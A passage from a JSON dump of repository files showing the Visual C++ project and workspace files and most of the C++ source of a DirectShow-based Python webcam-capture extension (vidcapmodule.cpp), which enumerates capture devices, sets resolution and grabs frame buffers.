BASE CPP /nologo /MD /W3 /GX /O2 /I \"c:\\PYTHON25\\INCLUDE\" /D \"WIN32\" /D \"NDEBUG\" /D \"_WINDOWS\" /D \"_MBCS\" /D \"_USRDLL\" /D \"VPDCAP_EXPORTS\" /YX /FD /c\r\n# ADD CPP /nologo /MD /W3 /GX /O2 /I \"c:\\PYTHON25\\INCLUDE\" /I \"c:\\DXSDK\\include\" /I \"c:\\DXSDK\\samples\\Multimedia\\DirectShow\\BaseClasses\" /D \"WIN32\" /D \"NDEBUG\" /D \"_WINDOWS\" /D \"_MBCS\" /D \"_USRDLL\" /D \"VPDCAP_EXPORTS\" /YX /FD /c\r\n# ADD BASE MTL /nologo /D \"NDEBUG\" /mktyplib203 /win32\r\n# ADD MTL /nologo /D \"NDEBUG\" /mktyplib203 /win32\r\n# ADD BASE RSC /l 0x809 /d \"NDEBUG\"\r\n# ADD RSC /l 0x809 /d \"NDEBUG\"\r\nBSC32=bscmake.exe\r\n# ADD BASE BSC32 /nologo\r\n# ADD BSC32 /nologo\r\nLINK32=link.exe\r\n# ADD BASE LINK32 strmiids.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /out:\"Python25/vidcap.pyd\" /libpath:\"c:\\PYTHON25\\LIBS\"\r\n# SUBTRACT BASE LINK32 /pdb:none\r\n# ADD LINK32 c:\\DXSDK\\samples\\Multimedia\\DirectShow\\BaseClasses\\Release\\STRMBASE.lib strmiids.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /nodefaultlib:\"libcmt\" /out:\"Python25/vidcap.pyd\" /libpath:\"c:\\PYTHON25\\LIBS\" /libpath:\"c:\\DXSDK\\lib\"\r\n# SUBTRACT LINK32 /pdb:none\r\n# Begin Custom Build\r\nTargetPath=.\\Python25\\vidcap.pyd\r\nInputPath=.\\Python25\\vidcap.pyd\r\nSOURCE=\"$(InputPath)\"\r\n\r\n\"c:\\Python25\\DLLs\\vidcap.pyd\" : $(SOURCE) \"$(INTDIR)\" \"$(OUTDIR)\"\r\n\tcopy $(TargetPath) \"c:\\python25\\DLLs\"\r\n\r\n# End Custom Build\r\n\r\n!ENDIF\r\n\r\n# Begin Target\r\n\r\n# Name \"vidcap - Win32 Python20\"\r\n# Name \"vidcap - Win32 Python21\"\r\n# Name \"vidcap - Win32 Python22\"\r\n# Name \"vidcap - Win32 Python23\"\r\n# Name \"vidcap - Win32 Python24\"\r\n# Name \"vidcap - Win32 Python25\"\r\n# Begin Group \"Source Files\"\r\n\r\n# PROP Default_Filter \"cpp;c;cxx;rc;def;r;odl;idl;hpj;bat\"\r\n# Begin Source File\r\n\r\nSOURCE=.\\vidcapmodule.cpp\r\n# End Source File\r\n# End Group\r\n# Begin Group \"Header Files\"\r\n\r\n# PROP Default_Filter \"h;hpp;hxx;hm;inl\"\r\n# End Group\r\n# Begin Group \"Resource Files\"\r\n\r\n# PROP Default_Filter \"ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe\"\r\n# End Group\r\n# End Target\r\n# End Project\r\n"
  },
  {
    "path": "pupy/packages/src/VideoCapture/src/vidcap.dsw",
    "content": "Microsoft Developer Studio Workspace File, Format Version 6.00\r\n# WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE!\r\n\r\n###############################################################################\r\n\r\nProject: \"vidcap\"=.\\vidcap.dsp - Package Owner=<4>\r\n\r\nPackage=<5>\r\n{{{\r\n}}}\r\n\r\nPackage=<4>\r\n{{{\r\n}}}\r\n\r\n###############################################################################\r\n\r\nGlobal:\r\n\r\nPackage=<5>\r\n{{{\r\n}}}\r\n\r\nPackage=<3>\r\n{{{\r\n}}}\r\n\r\n###############################################################################\r\n\r\n"
  },
  {
    "path": "pupy/packages/src/VideoCapture/src/vidcapmodule.cpp",
    "content": "#include \"stdafx.h\"\r\n\r\n// vidcapmodule.cpp\r\n// by Markus Gritsch <gritsch@iue.tuwien.ac.at>\r\n\r\n// code plugged together from\r\n// http://www.python.org/doc/current/ext/ext.html\r\n// and\r\n// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dx8_c/directx_cpp/htm/howtowriteacaptureapplication.asp\r\n// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dx8_c/directx_cpp/htm/usingthesamplegrabber.asp\r\n// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dx8_c/directx_cpp/htm/playcapsample.asp\r\n// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dx8_c/directx_cpp/htm/displayingafilterspropertypages.asp\r\n\r\n\r\n#include \"Python.h\"\r\n\r\n#include <dshow.h>\r\n//#include <qedit.h>  // Sample Grabber, Null Renderer  \r\n#include \"qedit.h\"  // Deprecated and no longer included in the Windows SDK\r\n#include <mtype.h> // DirectShow Base Classes - FreeMediaType(), DeleteMediaType()\r\n\r\nstatic PyObject *VidcapError;\r\n\r\n//staticforward PyTypeObject Dev_Type; // does not work for Python 2.3 anymore\r\nextern PyTypeObject Dev_Type; // suggested by Jon Schneider <jon@jschneider.net>\r\n\r\n\r\ntypedef struct {\r\n    PyObject_HEAD\r\n\r\n    IGraphBuilder         *ob_pGraph;\r\n    ICaptureGraphBuilder2 *ob_pBuilder;\r\n    IBaseFilter           *ob_pSrc;\r\n    ISampleGrabber        *ob_pGrab;\r\n    IMediaControl         *ob_pControl;\r\n\r\n    int devnum;\r\n    int showVideoWindow;\r\n    IPropertyBag\t  *ob_pPropBag;\r\n\r\n} DevObject;\r\n\r\n\r\nstatic void\r\ncleanup(DevObject *self)\r\n{\r\n    if (self->ob_pControl != NULL)\r\n        self->ob_pControl->Stop();\r\n\r\n    if (self->ob_pControl != NULL)\r\n        self->ob_pControl->Release();\r\n    //self->ob_pControl = NULL;\r\n    if (self->ob_pGrab != NULL)\r\n        self->ob_pGrab->Release();\r\n    //self->ob_pGrab = NULL;\r\n    if (self->ob_pSrc != NULL)\r\n        self->ob_pSrc->Release();\r\n    //self->ob_pSrc = NULL;\r\n    if (self->ob_pBuilder != NULL)\r\n        self->ob_pBuilder->Release();\r\n    //self->ob_pBuilder = NULL;\r\n    if (self->ob_pGraph != NULL)\r\n        self->ob_pGraph->Release();\r\n    //self->ob_pGraph = NULL;\r\n    if (self->ob_pPropBag != NULL)\r\n\tself->ob_pPropBag->Release();\t\r\n    //self->ob_pPropBag = NULL;\r\n}\r\n\r\n\r\nstatic bool\r\ninitialize(DevObject *self)\r\n{\r\n    HRESULT hr;\r\n\r\n\r\n    // Creating the Required Components\r\n    // ================================\r\n\r\n    // Create the filter graph.\r\n    hr = CoCreateInstance(CLSID_FilterGraph, NULL, CLSCTX_INPROC,\r\n                          IID_IGraphBuilder, (void **)&self->ob_pGraph);\r\n    if (FAILED(hr))\r\n    {\r\n        PyErr_SetString(VidcapError, \"Creation of the filter graph failed.\");\r\n        cleanup(self);\r\n        return FALSE;\r\n    }\r\n\r\n    // Create the capture graph builder.\r\n    hr = CoCreateInstance(CLSID_CaptureGraphBuilder2, NULL, CLSCTX_INPROC,\r\n                          IID_ICaptureGraphBuilder2, (void **)&self->ob_pBuilder);\r\n    if (FAILED(hr))\r\n    {\r\n        PyErr_SetString(VidcapError, \"Creation of the capture graph builder failed.\");\r\n        cleanup(self);\r\n        return FALSE;\r\n    }\r\n\r\n    hr = self->ob_pBuilder->SetFiltergraph(self->ob_pGraph);\r\n    if (FAILED(hr))\r\n    {\r\n        PyErr_SetString(VidcapError, \"Setting the filter graph for the capture graph builder failed.\");\r\n        cleanup(self);\r\n        return FALSE;\r\n    }\r\n\r\n\r\n    // Selecting a Capture Device\r\n    // ==========================\r\n\r\n    // Create the system device enumerator.\r\n    ICreateDevEnum *pDevEnum = NULL;\r\n    hr = CoCreateInstance(CLSID_SystemDeviceEnum, NULL, CLSCTX_INPROC,\r\n                          IID_ICreateDevEnum, (void **)&pDevEnum);\r\n    if (FAILED(hr))\r\n    {\r\n        PyErr_SetString(VidcapError, \"Creation of the system device enumerator failed.\");\r\n        cleanup(self);\r\n        return FALSE;\r\n    }\r\n\r\n    // Create an enumerator for video capture devices.\r\n    IEnumMoniker *pClassEnum = NULL;\r\n    hr = pDevEnum->CreateClassEnumerator(CLSID_VideoInputDeviceCategory, &pClassEnum, 0);\r\n    pDevEnum->Release();\r\n    if (hr != S_OK) // fix by Jonathan Viney <jonathan@bluewire.net.nz> \"doing FAILED(hr) isn't a good enough check\"\r\n    {\r\n        PyErr_SetString(VidcapError, \"Creation of the enumerator for video capture devices failed.\");\r\n        cleanup(self);\r\n        return FALSE;\r\n    }\r\n\r\n    ULONG cFetched;\r\n    IMoniker *pMoniker = NULL;\r\n    for (int i=0; i <= self->devnum; i++)\r\n    {\r\n        if (pClassEnum->Next(1, &pMoniker, &cFetched) != S_OK)\r\n        {\r\n            PyErr_SetString(VidcapError, \"The device with the specified device number does not exist.\");\r\n            pClassEnum->Release();\r\n            cleanup(self);\r\n            return FALSE;\r\n        }\r\n    }\r\n    pClassEnum->Release();\r\n\r\n    // Bind the moniker to a filter object.\r\n    if (self->ob_pSrc == NULL)\r\n    {\r\n        hr = pMoniker->BindToObject(0, 0, IID_IBaseFilter, (void**)&self->ob_pSrc);\r\n        if (FAILED(hr))\r\n        {\r\n            PyErr_SetString(VidcapError, \"Binding the moniker to a filter object failed.\");\r\n            cleanup(self);\r\n            return FALSE;\r\n        }\r\n    }\r\n\r\n\t// Obtain friendly name for Moniker\r\n\t// http://msdn.microsoft.com/en-us/library/windows/desktop/dd407292%28v=vs.85%29.aspx   \r\n\t\r\n    hr = pMoniker->BindToStorage(0, 0, IID_IPropertyBag, (void **)&self->ob_pPropBag);\r\n    if (FAILED(hr))\r\n    {\r\n        PyErr_SetString(VidcapError, \"Fetching the moniker property bag failed.\");\r\n        cleanup(self);\r\n        return FALSE;\r\n    }\r\n    pMoniker->Release();\r\n\t\r\n    // Now add the capture filter to the graph\r\n    hr = self->ob_pGraph->AddFilter(self->ob_pSrc, L\"VideoCapture\");\r\n    if (FAILED(hr))\r\n    {\r\n        PyErr_SetString(VidcapError, \"Adding the capture filter to the filter graph failed.\\n              Device maybe not connected or already in use.\");\r\n        cleanup(self);\r\n        return FALSE;\r\n    }\r\n\r\n\r\n    // Adding the Sample Grabber to the Filter Graph\r\n    // =============================================\r\n\r\n    IBaseFilter     *pF = NULL;\r\n    AM_MEDIA_TYPE   mt;\r\n\r\n    hr = CoCreateInstance(CLSID_SampleGrabber, NULL, CLSCTX_INPROC,\r\n                          IID_IBaseFilter, (LPVOID *)&pF);\r\n    if (FAILED(hr))\r\n    {\r\n        PyErr_SetString(VidcapError, \"Creation of the sample grabber failed.\");\r\n        cleanup(self);\r\n        return FALSE;\r\n    }\r\n\r\n    hr = pF->QueryInterface(IID_ISampleGrabber, (void **)&self->ob_pGrab);\r\n    if (FAILED(hr))\r\n    {\r\n        PyErr_SetString(VidcapError, \"Sample grabber interface could not be found.\");\r\n        cleanup(self);\r\n        return FALSE;\r\n    }\r\n\r\n    hr = self->ob_pGraph->AddFilter(pF, L\"Grabber\");\r\n    if (FAILED(hr))\r\n    {\r\n        PyErr_SetString(VidcapError, \"Adding the sample grabber to the filter graph failed.\");\r\n        cleanup(self);\r\n        return FALSE;\r\n    }\r\n\r\n    ZeroMemory(&mt, sizeof(AM_MEDIA_TYPE));\r\n    mt.majortype = MEDIATYPE_Video;\r\n    mt.subtype = MEDIASUBTYPE_RGB24;\r\n    mt.formattype = FORMAT_VideoInfo;\r\n    hr = self->ob_pGrab->SetMediaType(&mt);\r\n    if (FAILED(hr))\r\n    {\r\n        PyErr_SetString(VidcapError, \"Setting the media type of the sample grabber failed.\");\r\n        cleanup(self);\r\n        return FALSE;\r\n    }\r\n\r\n/*    IBaseFilter *pNullRenderer = NULL;\r\n    hr = CoCreateInstance(CLSID_NullRenderer, NULL, CLSCTX_INPROC,\r\n                          IID_IBaseFilter, (LPVOID *)&pNullRenderer);\r\n    hr = self->ob_pGraph->AddFilter(pNullRenderer, L\"Nuller\");\r\n*/\r\n\r\n    // Rendering the Streams\r\n    // =====================\r\n\r\n    hr = self->ob_pBuilder->RenderStream(\r\n            &PIN_CATEGORY_CAPTURE, // changed from ..._PREVIEW to ..._CAPTURE\r\n            &MEDIATYPE_Video,\r\n            self->ob_pSrc, // src\r\n            pF,            // via\r\n            NULL           // dest ; or pNullRenderer\r\n        );\r\n    if (FAILED(hr))\r\n    {\r\n        PyErr_SetString(VidcapError, \"Capture Graph could not be created.\");\r\n        cleanup(self);\r\n        return FALSE;\r\n    }\r\n\r\n    pF->Release();\r\n    //pNullRenderer->Release();\r\n\r\n\r\n    // Controlling a Capture Graph\r\n    // ===========================\r\n\r\n    if (!self->showVideoWindow)\r\n    {\r\n        IVideoWindow *pWindow;\r\n\r\n        hr = self->ob_pGraph->QueryInterface(IID_IVideoWindow, (void **)&pWindow);\r\n        if (FAILED(hr))\r\n        {\r\n            PyErr_SetString(VidcapError, \"Video Window interface could not be found.\");\r\n            cleanup(self);\r\n            return FALSE;\r\n        }\r\n\r\n        hr = pWindow->put_AutoShow(OAFALSE);\r\n        if (FAILED(hr))\r\n        {\r\n            PyErr_SetString(VidcapError, \"Video Window hiding failed.\");\r\n            cleanup(self);\r\n            return FALSE;\r\n        }\r\n\r\n        pWindow->Release();\r\n    }\r\n\r\n    hr = self->ob_pGraph->QueryInterface(IID_IMediaControl, (void **)&self->ob_pControl);\r\n    if (FAILED(hr))\r\n    {\r\n        PyErr_SetString(VidcapError, \"Media control interface could not be found.\");\r\n        cleanup(self);\r\n        return FALSE;\r\n    }\r\n\r\n\r\n    hr = self->ob_pGrab->SetBufferSamples(TRUE);\r\n    if (FAILED(hr))\r\n    {\r\n        PyErr_SetString(VidcapError, \"Setting up buffering of samples failed.\");\r\n        cleanup(self);\r\n        return FALSE;\r\n    }\r\n\r\n    // Set up one-shot mode.\r\n    hr = self->ob_pGrab->SetOneShot(FALSE);\r\n    if (FAILED(hr))\r\n    {\r\n        PyErr_SetString(VidcapError, \"Setting up non-one-shot mode of the sample grabber failed.\");\r\n        cleanup(self);\r\n        return FALSE;\r\n    }\r\n\r\n    //self->ob_pSrc->SetSyncSource(NULL); // Turn off the reference clock.\r\n\r\n/*\r\n    Once the filtergraph was started, the resolution of my webcam can not be changed.\r\n    Workaround: So it is started in Dev_getbuffer() (fixme: xxx)\r\n    This is only an intermediate solution, since this way changing the solution works\r\n    only if no snapshot has already been taken.\r\n\r\n    Update 18.9.2003: Seems to work now since\r\n            teardown(self); //xxx                   Better *do* teardown and\r\n                        initialize(self); //xxx         initialize for my Webcam.\r\n        have been inserted into Dev_displaycapturefilterproperties().\r\n*/\r\n/*    \r\n    hr = self->ob_pControl->Run(); // Run the graph.\r\n    if (FAILED(hr)) // The graph is preparing to run, but some filters have\r\n    {               // not completed the transition to a running state.\r\n        OAFilterState pfs;\r\n        hr = self->ob_pControl->GetState(6000, &pfs);\r\n        if (FAILED(hr))\r\n        {\r\n            switch (hr)\r\n            {\r\n            case VFW_S_STATE_INTERMEDIATE:\r\n                PyErr_SetString(VidcapError, \"Running the capture graph failed (filter graph still in transition).\");\r\n                break;\r\n            case VFW_S_CANT_CUE:\r\n                PyErr_SetString(VidcapError, \"Running the capture graph failed (cannot cue data).\");\r\n                break;\r\n            case E_FAIL:\r\n                PyErr_SetString(VidcapError, \"Running the capture graph failed (failure).\");\r\n                break;\r\n            default:\r\n                PyErr_SetString(VidcapError, \"UNKNOWN CASE!!\");\r\n            }\r\n            return NULL;\r\n        }\r\n    }\r\n*/\r\n\r\n    return TRUE;\r\n}\r\n\r\n\r\nstatic DevObject *\r\nnewDevObject(PyObject *args)\r\n{\r\n    DevObject *self;\r\n    self = PyObject_New(DevObject, &Dev_Type);\r\n    if (self == NULL)\r\n        return NULL;\r\n\r\n    if (!PyArg_ParseTuple(args, \"ii:newDev\", &self->devnum, &self->showVideoWindow))\r\n        return NULL;\r\n\r\n    self->ob_pGraph   = NULL;\r\n    self->ob_pBuilder = NULL;\r\n    self->ob_pSrc     = NULL;\r\n    self->ob_pGrab    = NULL;\r\n    self->ob_pControl = NULL;\r\n\tself->ob_pPropBag    = NULL;\r\n\r\n    if (initialize(self))\r\n        return self;\r\n    else\r\n        return NULL;\r\n}\r\n\r\n\r\nstatic void\r\nDev_dealloc(DevObject *self)\r\n{\r\n    cleanup(self);\r\n\r\n    PyObject_Del(self);\r\n}\r\n\r\n\r\nstatic void\r\nteardown(DevObject *self)\r\n{\r\n    if (self->ob_pControl != NULL)\r\n        self->ob_pControl->Stop();\r\n\r\n    if (self->ob_pControl != NULL)\r\n        self->ob_pControl->Release();\r\n    self->ob_pControl = NULL;\r\n    if (self->ob_pGrab != NULL)\r\n        self->ob_pGrab->Release();\r\n    self->ob_pGrab = NULL;\r\n    // don't touch self->ob_pSrc\r\n    if (self->ob_pBuilder != NULL)\r\n        self->ob_pBuilder->Release();\r\n    self->ob_pBuilder = NULL;\r\n    if (self->ob_pGraph != NULL)\r\n        self->ob_pGraph->Release();\r\n    self->ob_pGraph = NULL;\r\n\tif (self->ob_pPropBag != NULL)\r\n\t\tself->ob_pPropBag->Release();\t\r\n\tself->ob_pPropBag = NULL;\r\n}\r\n\r\n/*\r\n// Tear down everything downstream of a given filter\r\nstatic void\r\nNukeDownstream(DevObject *self, IBaseFilter *pf)\r\n{\r\n    //DbgLog((LOG_TRACE,1,TEXT(\"Nuking...\")));\r\n\r\n    IPin *pP, *pTo;\r\n    ULONG u;\r\n    IEnumPins *pins = NULL;\r\n    PIN_INFO pininfo;\r\n    HRESULT hr = pf->EnumPins(&pins);\r\n    pins->Reset();\r\n    while(hr == NOERROR) {\r\n        hr = pins->Next(1, &pP, &u);\r\n        if(hr == S_OK && pP) {\r\n            pP->ConnectedTo(&pTo);\r\n            if(pTo) {\r\n                hr = pTo->QueryPinInfo(&pininfo);\r\n                if(hr == NOERROR) {\r\n                    if(pininfo.dir == PINDIR_INPUT) {\r\n                        NukeDownstream(self, pininfo.pFilter);\r\n                        self->ob_pGraph->Disconnect(pTo);\r\n                        self->ob_pGraph->Disconnect(pP);\r\n                        self->ob_pGraph->RemoveFilter(pininfo.pFilter);\r\n                    }\r\n                    pininfo.pFilter->Release();\r\n                }\r\n                pTo->Release();\r\n            }\r\n            pP->Release();\r\n        }\r\n    }\r\n    if(pins)\r\n        pins->Release();\r\n}\r\n*/\r\n\r\nstatic PyObject *\r\nDev_displaypropertypage(DevObject *self, PyObject *args)\r\n{\r\n    MessageBox(NULL,\r\n               TEXT(\"displayPropertyPage() is deprecated.\\nUse displayCaptureFilterProperties() and displayCapturePinProperties() instead!\"),\r\n               TEXT(\"VideoCapture Warning\"), \r\n\t\t\t   MB_OK | MB_ICONWARNING | MB_TASKMODAL);\r\n\r\n    HRESULT hr;\r\n    hr = self->ob_pControl->Stop(); //xxx\r\n    if (FAILED(hr))\r\n    {\r\n        PyErr_SetString(VidcapError, \"Stopping the capture graph failed.\");\r\n        return NULL;\r\n    }\r\n    //NukeDownstream(self, self->ob_pSrc);\r\n\r\n    ISpecifyPropertyPages *pProp;\r\n    hr = self->ob_pSrc->QueryInterface(IID_ISpecifyPropertyPages, (void **)&pProp);\r\n    if (SUCCEEDED(hr))\r\n    {\r\n        // Get the filter's name and IUnknown pointer.\r\n        FILTER_INFO FilterInfo;\r\n        self->ob_pSrc->QueryFilterInfo(&FilterInfo);\r\n        IUnknown *pFilterUnk;\r\n        self->ob_pSrc->QueryInterface(IID_IUnknown, (void **)&pFilterUnk);\r\n\r\n        HWND topwindow = GetTopWindow(NULL);\r\n        // Show the page.\r\n        CAUUID caGUID;\r\n        pProp->GetPages(&caGUID);\r\n        pProp->Release();\r\n        OleCreatePropertyFrame(\r\n            topwindow,              // Parent window\r\n            0, 0,                   // xoffset, yoffset\r\n            FilterInfo.achName,     // Caption for the dialog box\r\n            1,                      // Number of objects (just the filter)\r\n            &pFilterUnk,            // Array of object pointers.\r\n            caGUID.cElems,          // Number of property pages\r\n            caGUID.pElems,          // Array of property page CLSIDs\r\n            0,                      // Locale identifier\r\n            0, NULL                 // Reserved\r\n        );\r\n\r\n        // Clean up.\r\n        pFilterUnk->Release();\r\n        FilterInfo.pGraph->Release();\r\n        CoTaskMemFree(caGUID.pElems);\r\n\r\n        teardown(self); //xxx\r\n        if (initialize(self))\r\n        {\r\n            Py_INCREF(Py_None);\r\n            return Py_None;\r\n        }\r\n        else\r\n        {\r\n            return NULL;\r\n        }\r\n    }\r\n    else\r\n    {\r\n        PyErr_SetString(VidcapError, \"Querying the filter for its property pages failed.\");\r\n        return NULL;\r\n    }\r\n}\r\n\r\n\r\nstatic PyObject *\r\nDev_displaycapturefilterproperties(DevObject *self, PyObject *args)\r\n{\r\n    bool everything_ok = false;\r\n\r\n    HRESULT hr;\r\n    hr = self->ob_pControl->Stop();\r\n\r\n    ISpecifyPropertyPages *pSpec;\r\n    CAUUID cauuid;\r\n    hr = self->ob_pSrc->QueryInterface(IID_ISpecifyPropertyPages,\r\n                                       (void **)&pSpec);\r\n    if(hr == S_OK) {\r\n        hr = pSpec->GetPages(&cauuid);\r\n        if(hr == S_OK && cauuid.cElems > 0) {\r\n            teardown(self); //xxx                   Better *do* teardown and\r\n            initialize(self); //xxx         initialize for my Webcam.\r\n            hr = OleCreatePropertyFrame(GetTopWindow(NULL), 0, 0, NULL, 1,\r\n                                        (IUnknown **)&self->ob_pSrc, cauuid.cElems,\r\n                                        (GUID *)cauuid.pElems, 0, 0, NULL);\r\n            everything_ok = true;\r\n            CoTaskMemFree(cauuid.pElems);\r\n        }\r\n        pSpec->Release();\r\n    }\r\n\r\n    if (everything_ok)\r\n    {\r\n        teardown(self); //xxx\r\n        if (initialize(self))\r\n        {\r\n            Py_INCREF(Py_None);\r\n            return Py_None;\r\n        }\r\n        else\r\n        {\r\n            return NULL;\r\n        }\r\n    }\r\n    else\r\n    {\r\n        PyErr_SetString(VidcapError, \"Querying the capture filter for its property pages failed.\");\r\n        return NULL;\r\n    }\r\n}\r\n\r\n\r\nstatic PyObject *\r\nDev_displaycapturepinproperties(DevObject *self, PyObject *args)\r\n{\r\n    bool everything_ok = false;\r\n\r\n    HRESULT hr;\r\n    hr = self->ob_pControl->Stop();\r\n\r\n    IAMStreamConfig *pSC;\r\n    hr = self->ob_pBuilder->FindInterface(&PIN_CATEGORY_CAPTURE,\r\n                                          &MEDIATYPE_Interleaved, self->ob_pSrc,\r\n                                          IID_IAMStreamConfig, (void **)&pSC);\r\n    if(hr != S_OK)\r\n        hr = self->ob_pBuilder->FindInterface(&PIN_CATEGORY_CAPTURE,\r\n                                              &MEDIATYPE_Video, self->ob_pSrc,\r\n                                              IID_IAMStreamConfig, (void **)&pSC);\r\n    if(hr == S_OK){\r\n        ISpecifyPropertyPages *pSpec;\r\n        CAUUID cauuid;\r\n        hr = pSC->QueryInterface(IID_ISpecifyPropertyPages,\r\n                                 (void **)&pSpec);\r\n        if(hr == S_OK) {\r\n            hr = pSpec->GetPages(&cauuid);\r\n            if(hr == S_OK && cauuid.cElems > 0) {\r\n                    //teardown(self); //xxx                 Better do *not* teardown and\r\n                                //initialize(self); //xxx       initialize for my TV-card.\r\n                hr = OleCreatePropertyFrame(GetTopWindow(NULL), 0, 0, NULL, 1,\r\n                                            (IUnknown **)&pSC, cauuid.cElems,\r\n                                            (GUID *)cauuid.pElems, 0, 0, NULL);\r\n                everything_ok = true;\r\n                CoTaskMemFree(cauuid.pElems);\r\n            }\r\n            pSpec->Release();\r\n        }\r\n        pSC->Release();\r\n    }\r\n\r\n    if (everything_ok)\r\n    {\r\n        teardown(self); //xxx\r\n        if (initialize(self))\r\n        {\r\n            Py_INCREF(Py_None);\r\n            return Py_None;\r\n        }\r\n        else\r\n        {\r\n            return NULL;\r\n        }\r\n    }\r\n    else\r\n    {\r\n        PyErr_SetString(VidcapError, \"Querying the capture pin for its property pages failed.\");\r\n        return NULL;\r\n    }\r\n}\r\n\r\n// contributed by Jeremy Mortis <mortis@tansay.ca>\r\nstatic PyObject *\r\nDev_getdisplayname(DevObject *self, PyObject *args)\r\n{\t\r\n\tHRESULT hr;\r\n    VARIANT varName;\r\n    VariantInit(&varName);\r\n\tif (self->ob_pPropBag == NULL) \r\n\t{\r\n\t\tPyErr_SetString(VidcapError, \"No device properties available.\");\r\n        return NULL;\r\n    }\r\n\r\n    hr = self->ob_pPropBag->Read(L\"FriendlyName\", &varName, 0);\r\n    if (FAILED(hr))\r\n    {\r\n\t\tPyErr_SetString(VidcapError, \"Unable to obtain display name.\");\r\n        return NULL;\r\n    }\r\n\r\n\tchar buffer[100];\r\n\twcstombs(buffer, varName.bstrVal, 100);\r\n\r\n    PyObject *value;\r\n    value = Py_BuildValue(\"s\", buffer);\r\n\r\n    VariantClear(&varName);\r\n\r\n    return value;\r\n}\r\n\r\n// contributed by Don Kimber <kimber@fxpal.com>\r\nstatic PyObject *\r\nDev_setresolution(DevObject *self, PyObject *args)\r\n{\r\n    HRESULT hr;\r\n    int     width, height;\r\n    char*   errStr = NULL;\r\n    bool everything_ok = false;\r\n\r\n    if (!PyArg_ParseTuple(args, \"ii:newDev\", &width, &height))\r\n        return NULL;\r\n\r\n\r\n    hr = self->ob_pControl->Stop();\r\n\r\n    IAMStreamConfig *pSC;\r\n\r\n//  pSC->SetFormat(pmt);\r\n\r\n    hr = self->ob_pBuilder->FindInterface(&PIN_CATEGORY_CAPTURE,\r\n                                          &MEDIATYPE_Interleaved, self->ob_pSrc,\r\n                                          IID_IAMStreamConfig, (void **)&pSC);\r\n    if(hr != S_OK)\r\n        hr = self->ob_pBuilder->FindInterface(&PIN_CATEGORY_CAPTURE,\r\n                                              &MEDIATYPE_Video, self->ob_pSrc,\r\n                                              IID_IAMStreamConfig, (void **)&pSC);\r\n    if(hr == S_OK){\r\n        AM_MEDIA_TYPE* pmt;\r\n        hr = pSC->GetFormat(&pmt);\r\n        if (hr == S_OK) {\r\n            if (pmt->formattype == FORMAT_VideoInfo) {\r\n                VIDEOINFOHEADER *pVih = reinterpret_cast<VIDEOINFOHEADER*>(pmt->pbFormat);\r\n                pVih->bmiHeader.biWidth=width;\r\n                pVih->bmiHeader.biHeight=height;\r\n                hr = pSC->SetFormat(pmt);\r\n                if (hr == S_OK)\r\n                    everything_ok = true;\r\n                else {\r\n                    errStr = \"Cannot set capture resolution.\";\r\n                }\r\n            }\r\n            else {\r\n                errStr = \"Cannot query capture format.\";\r\n            }\r\n            DeleteMediaType(pmt);\r\n        }\r\n        pSC->Release();\r\n    }\r\n\r\n    if (everything_ok) {\r\n        teardown(self); //xxx\r\n        if (initialize(self))\r\n        {\r\n            Py_INCREF(Py_None);\r\n            return Py_None;\r\n        }\r\n        else\r\n        {\r\n            PyErr_SetString(VidcapError, \"Problem after setting the capture resolution.\");\r\n            return NULL;\r\n        }\r\n    }\r\n    else {\r\n        if (errStr == NULL)\r\n            errStr = \"Setting the capture resolution failed.\";\r\n        PyErr_SetString(VidcapError, errStr);\r\n        return NULL;\r\n    }\r\n}\r\n\r\n\r\nstatic PyObject *\r\nDev_getbuffer(DevObject *self, PyObject *args)\r\n{\r\n    HRESULT hr;\r\n\r\n    AM_MEDIA_TYPE MediaType;\r\n    hr = self->ob_pGrab->GetConnectedMediaType(&MediaType);\r\n    if (FAILED(hr))\r\n    {\r\n        PyErr_SetString(VidcapError, \"Getting the sample grabber's connected media type failed.\");\r\n        return NULL;\r\n    }\r\n\r\n    // Get a pointer to the video header.\r\n    VIDEOINFOHEADER *pVideoHeader = (VIDEOINFOHEADER*)MediaType.pbFormat;\r\n\r\n    long size   = pVideoHeader->bmiHeader.biSizeImage;\r\n    long width  = pVideoHeader->bmiHeader.biWidth;\r\n    long height = pVideoHeader->bmiHeader.biHeight;\r\n\r\n    // Free the format block\r\n    //FreeMediaType(MediaType); // this would need the DirectShow Base Classes\r\n    CoTaskMemFree(MediaType.pbFormat);\r\n\r\n    // Allocate memory.\r\n    //void *buffer = malloc(size);\r\n    void *buffer = PyMem_Malloc(size);\r\n    if (!buffer)\r\n    {\r\n        PyErr_NoMemory();\r\n        return NULL;\r\n    }\r\n\r\n    hr = self->ob_pControl->Run(); // fixme: xxx\r\n    // Copy the image into the buffer.\r\n    while (true)\r\n    {\r\n        hr = self->ob_pGrab->GetCurrentBuffer(&size, (long *)buffer);\r\n        if (hr == VFW_E_WRONG_STATE)\r\n            Sleep(100);\r\n        else\r\n            break;\r\n    }\r\n    if (FAILED(hr))\r\n    {\r\n        switch (hr)\r\n        {\r\n        case E_INVALIDARG:\r\n            PyErr_SetString(VidcapError, \"Getting the sample grabber's current buffer failed (Samples are not being buffered).\");\r\n            break;\r\n        case E_POINTER:\r\n            PyErr_SetString(VidcapError, \"Getting the sample grabber's current buffer failed (NULL pointer argument).\");\r\n            break;\r\n        case VFW_E_NOT_CONNECTED:\r\n            PyErr_SetString(VidcapError, \"Getting the sample grabber's current buffer failed (The filter is not connected).\");\r\n            break;\r\n        case VFW_E_WRONG_STATE:\r\n            PyErr_SetString(VidcapError, \"Getting the sample grabber's current buffer failed (The filter did not buffer a sample yet).\");\r\n            break;\r\n        default:\r\n            PyErr_SetString(VidcapError, \"UNKNOWN CASE!!\");\r\n        }\r\n        PyMem_Free(buffer);\r\n        return NULL;\r\n    }\r\n\r\n    // Return the buffer.\r\n    PyObject *value;\r\n    value = Py_BuildValue(\"(s#,l,l)\", buffer, size, width, height);\r\n\r\n    //free(buffer);\r\n    